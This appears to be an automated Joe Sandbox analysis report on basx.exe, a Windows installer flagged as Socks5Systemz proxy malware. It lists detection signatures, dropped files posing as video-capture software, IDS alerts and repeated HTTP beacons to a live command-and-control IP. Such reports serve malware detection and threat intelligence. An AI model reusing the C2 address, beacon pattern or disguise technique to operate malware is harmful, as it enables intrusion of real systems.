Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
basx.exe

Overview

General Information

Sample name:basx.exe
Analysis ID:1577466
MD5:b385c83532528a9d5a92c2d5cc44ffa3
SHA1:727fe0f958774b5fef3bfc55e24474c57ee2c27b
SHA256:d4bed3ca2c916185e53c92d19ee226233e482e357f8aace74a99030e2d442a2a
Tags:bulletproofexeuser-abus3reports
Infos:

Detection

Socks5Systemz
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected Socks5Systemz
AI detected suspicious sample
Contains functionality to infect the boot sector
Machine Learning detection for dropped file
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to launch a program with higher privileges
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to query network adapater information
Contains functionality to shutdown / reboot the system
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a DirectInput object (often for capturing keystrokes)
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Sample file is different than original file name gathered from version info
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

  • System is w10x64
  • basx.exe (PID: 6640 cmdline: "C:\Users\user\Desktop\basx.exe" MD5: B385C83532528A9D5A92C2D5CC44FFA3)
    • basx.tmp (PID: 5876 cmdline: "C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp" /SL5="$2041A,3427790,56832,C:\Users\user\Desktop\basx.exe" MD5: 048F12CF9C44FE7D997B30F23A9A2228)
      • bsoftvideocapture33.exe (PID: 5776 cmdline: "C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe" -i MD5: C8FF7F2AEE9BB015FC6C931A953CD294)
  • cleanup
No configs have been found
SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-2NU4B.tmpJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security
    C:\ProgramData\BrekkiesoftVideoCapture\BrekkiesoftVideoCapture.exeJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security
      C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security
        SourceRuleDescriptionAuthorStrings
        00000003.00000002.3384636010.0000000002753000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Socks5SystemzYara detected Socks5SystemzJoe Security
          00000003.00000000.2134308684.0000000000401000.00000020.00000001.01000000.00000009.sdmpJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security
            00000003.00000002.3384850587.0000000002C71000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_Socks5SystemzYara detected Socks5SystemzJoe Security
              00000001.00000002.3384557748.00000000058C0000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security
                Process Memory Space: bsoftvideocapture33.exe PID: 5776JoeSecurity_Socks5SystemzYara detected Socks5SystemzJoe Security
                  SourceRuleDescriptionAuthorStrings
                  3.0.bsoftvideocapture33.exe.400000.0.unpackJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security
                    No Sigma rule has matched
                    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                    2024-12-18T14:00:54.817063+010020287653Unknown Traffic192.168.2.549802188.119.66.185443TCP
                    2024-12-18T14:00:57.276470+010020287653Unknown Traffic192.168.2.549809188.119.66.185443TCP
                    2024-12-18T14:00:59.657406+010020287653Unknown Traffic192.168.2.549815188.119.66.185443TCP
                    2024-12-18T14:01:02.324365+010020287653Unknown Traffic192.168.2.549821188.119.66.185443TCP
                    2024-12-18T14:01:04.667599+010020287653Unknown Traffic192.168.2.549831188.119.66.185443TCP
                    2024-12-18T14:01:07.099158+010020287653Unknown Traffic192.168.2.549837188.119.66.185443TCP
                    2024-12-18T14:01:09.833090+010020287653Unknown Traffic192.168.2.549843188.119.66.185443TCP
                    2024-12-18T14:01:12.632644+010020287653Unknown Traffic192.168.2.549849188.119.66.185443TCP
                    2024-12-18T14:01:15.479897+010020287653Unknown Traffic192.168.2.549855188.119.66.185443TCP
                    2024-12-18T14:01:18.349608+010020287653Unknown Traffic192.168.2.549865188.119.66.185443TCP
                    2024-12-18T14:01:21.497435+010020287653Unknown Traffic192.168.2.549872188.119.66.185443TCP
                    2024-12-18T14:01:24.227981+010020287653Unknown Traffic192.168.2.549878188.119.66.185443TCP
                    2024-12-18T14:01:26.603078+010020287653Unknown Traffic192.168.2.549884188.119.66.185443TCP
                    2024-12-18T14:01:29.036931+010020287653Unknown Traffic192.168.2.549892188.119.66.185443TCP
                    2024-12-18T14:01:31.729877+010020287653Unknown Traffic192.168.2.549897188.119.66.185443TCP
                    2024-12-18T14:01:34.643842+010020287653Unknown Traffic192.168.2.549904188.119.66.185443TCP
                    2024-12-18T14:01:37.498100+010020287653Unknown Traffic192.168.2.549910188.119.66.185443TCP
                    2024-12-18T14:01:40.434888+010020287653Unknown Traffic192.168.2.549920188.119.66.185443TCP
                    2024-12-18T14:01:43.464903+010020287653Unknown Traffic192.168.2.549927188.119.66.185443TCP
                    2024-12-18T14:01:46.617851+010020287653Unknown Traffic192.168.2.549933188.119.66.185443TCP
                    2024-12-18T14:01:48.912406+010020287653Unknown Traffic192.168.2.549941188.119.66.185443TCP
                    2024-12-18T14:01:51.739942+010020287653Unknown Traffic192.168.2.549947188.119.66.185443TCP
                    2024-12-18T14:01:54.627154+010020287653Unknown Traffic192.168.2.549956188.119.66.185443TCP
                    2024-12-18T14:01:57.172873+010020287653Unknown Traffic192.168.2.549962188.119.66.185443TCP
                    2024-12-18T14:02:00.041446+010020287653Unknown Traffic192.168.2.549969188.119.66.185443TCP
                    2024-12-18T14:02:03.127662+010020287653Unknown Traffic192.168.2.549978188.119.66.185443TCP
                    2024-12-18T14:02:05.662659+010020287653Unknown Traffic192.168.2.549985188.119.66.185443TCP
                    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                    2024-12-18T14:00:55.657606+010028032742Potentially Bad Traffic192.168.2.549802188.119.66.185443TCP
                    2024-12-18T14:00:58.029700+010028032742Potentially Bad Traffic192.168.2.549809188.119.66.185443TCP
                    2024-12-18T14:01:00.378330+010028032742Potentially Bad Traffic192.168.2.549815188.119.66.185443TCP
                    2024-12-18T14:01:03.011252+010028032742Potentially Bad Traffic192.168.2.549821188.119.66.185443TCP
                    2024-12-18T14:01:05.346121+010028032742Potentially Bad Traffic192.168.2.549831188.119.66.185443TCP
                    2024-12-18T14:01:07.972072+010028032742Potentially Bad Traffic192.168.2.549837188.119.66.185443TCP
                    2024-12-18T14:01:10.755217+010028032742Potentially Bad Traffic192.168.2.549843188.119.66.185443TCP
                    2024-12-18T14:01:13.554558+010028032742Potentially Bad Traffic192.168.2.549849188.119.66.185443TCP
                    2024-12-18T14:01:16.402128+010028032742Potentially Bad Traffic192.168.2.549855188.119.66.185443TCP
                    2024-12-18T14:01:19.456442+010028032742Potentially Bad Traffic192.168.2.549865188.119.66.185443TCP
                    2024-12-18T14:01:22.660539+010028032742Potentially Bad Traffic192.168.2.549872188.119.66.185443TCP
                    2024-12-18T14:01:24.910281+010028032742Potentially Bad Traffic192.168.2.549878188.119.66.185443TCP
                    2024-12-18T14:01:27.416657+010028032742Potentially Bad Traffic192.168.2.549884188.119.66.185443TCP
                    2024-12-18T14:01:29.718976+010028032742Potentially Bad Traffic192.168.2.549892188.119.66.185443TCP
                    2024-12-18T14:01:32.650334+010028032742Potentially Bad Traffic192.168.2.549897188.119.66.185443TCP
                    2024-12-18T14:01:35.604861+010028032742Potentially Bad Traffic192.168.2.549904188.119.66.185443TCP
                    2024-12-18T14:01:38.337017+010028032742Potentially Bad Traffic192.168.2.549910188.119.66.185443TCP
                    2024-12-18T14:01:41.389506+010028032742Potentially Bad Traffic192.168.2.549920188.119.66.185443TCP
                    2024-12-18T14:01:44.493667+010028032742Potentially Bad Traffic192.168.2.549927188.119.66.185443TCP
                    2024-12-18T14:01:47.305270+010028032742Potentially Bad Traffic192.168.2.549933188.119.66.185443TCP
                    2024-12-18T14:01:49.591987+010028032742Potentially Bad Traffic192.168.2.549941188.119.66.185443TCP
                    2024-12-18T14:01:52.825033+010028032742Potentially Bad Traffic192.168.2.549947188.119.66.185443TCP
                    2024-12-18T14:01:55.350092+010028032742Potentially Bad Traffic192.168.2.549956188.119.66.185443TCP
                    2024-12-18T14:01:58.061912+010028032742Potentially Bad Traffic192.168.2.549962188.119.66.185443TCP
                    2024-12-18T14:02:01.055466+010028032742Potentially Bad Traffic192.168.2.549969188.119.66.185443TCP
                    2024-12-18T14:02:04.061267+010028032742Potentially Bad Traffic192.168.2.549978188.119.66.185443TCP

                    Click to jump to signature section

                    Show All Signature Results

                    AV Detection

                    barindex
                    Source: https://188.119.66.185/ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368cAvira URL Cloud: Label: malware
                    Source: C:\ProgramData\BrekkiesoftVideoCapture\BrekkiesoftVideoCapture.exeReversingLabs: Detection: 33%
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeReversingLabs: Detection: 33%
                    Source: basx.exeReversingLabs: Detection: 47%
                    Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeJoe Sandbox ML: detected
                    Source: C:\ProgramData\BrekkiesoftVideoCapture\BrekkiesoftVideoCapture.exeJoe Sandbox ML: detected
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0045D188 GetProcAddress,GetProcAddress,GetProcAddress,ISCryptGetVersion,1_2_0045D188
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0045D254 ArcFourCrypt,1_2_0045D254
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0045D23C ArcFourCrypt,1_2_0045D23C
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_10001000 ISCryptGetVersion,1_2_10001000
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_10001130 ArcFourCrypt,1_2_10001130

                    Compliance

                    barindex
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeUnpacked PE file: 3.2.bsoftvideocapture33.exe.400000.0.unpack
                    Source: basx.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpRegistry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Brekkiesoft Video Capture_is1Jump to behavior
                    Source: unknownHTTPS traffic detected: 188.119.66.185:443 -> 192.168.2.5:49802 version: TLS 1.2
                    Source: Binary string: msvcp71.pdbx# source: is-359A6.tmp.1.dr
                    Source: Binary string: msvcr71.pdb< source: is-U5A8T.tmp.1.dr
                    Source: Binary string: msvcp71.pdb source: is-359A6.tmp.1.dr
                    Source: Binary string: MicrosoftWindowsGdiPlus-1.0.2600.1360-gdiplus.pdb source: is-H722N.tmp.1.dr
                    Source: Binary string: msvcr71.pdb source: is-U5A8T.tmp.1.dr
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00452A60 FindFirstFileA,GetLastError,1_2_00452A60
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00474F88 FindFirstFileA,FindNextFileA,FindClose,1_2_00474F88
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004980A4 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,1_2_004980A4
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00464158 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,1_2_00464158
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00462750 FindFirstFileA,FindNextFileA,FindClose,1_2_00462750
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00463CDC SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,1_2_00463CDC
                    Source: Joe Sandbox ViewIP Address: 188.119.66.185 188.119.66.185
                    Source: Joe Sandbox ViewJA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49809 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49821 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49831 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49849 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49843 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49815 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49802 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49837 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49878 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49884 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49855 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49872 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49865 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49904 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49910 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49920 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49933 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49927 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49892 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49941 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49947 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49956 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49897 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49962 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49969 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49978 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49985 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49837 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49884 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49809 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49910 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49831 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49821 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49802 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49978 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49878 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49904 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49865 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49849 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49815 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49843 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49855 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49933 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49892 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49947 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49969 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49941 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49962 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49897 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49956 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49920 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49927 -> 188.119.66.185:443
                    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49872 -> 188.119.66.185:443
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
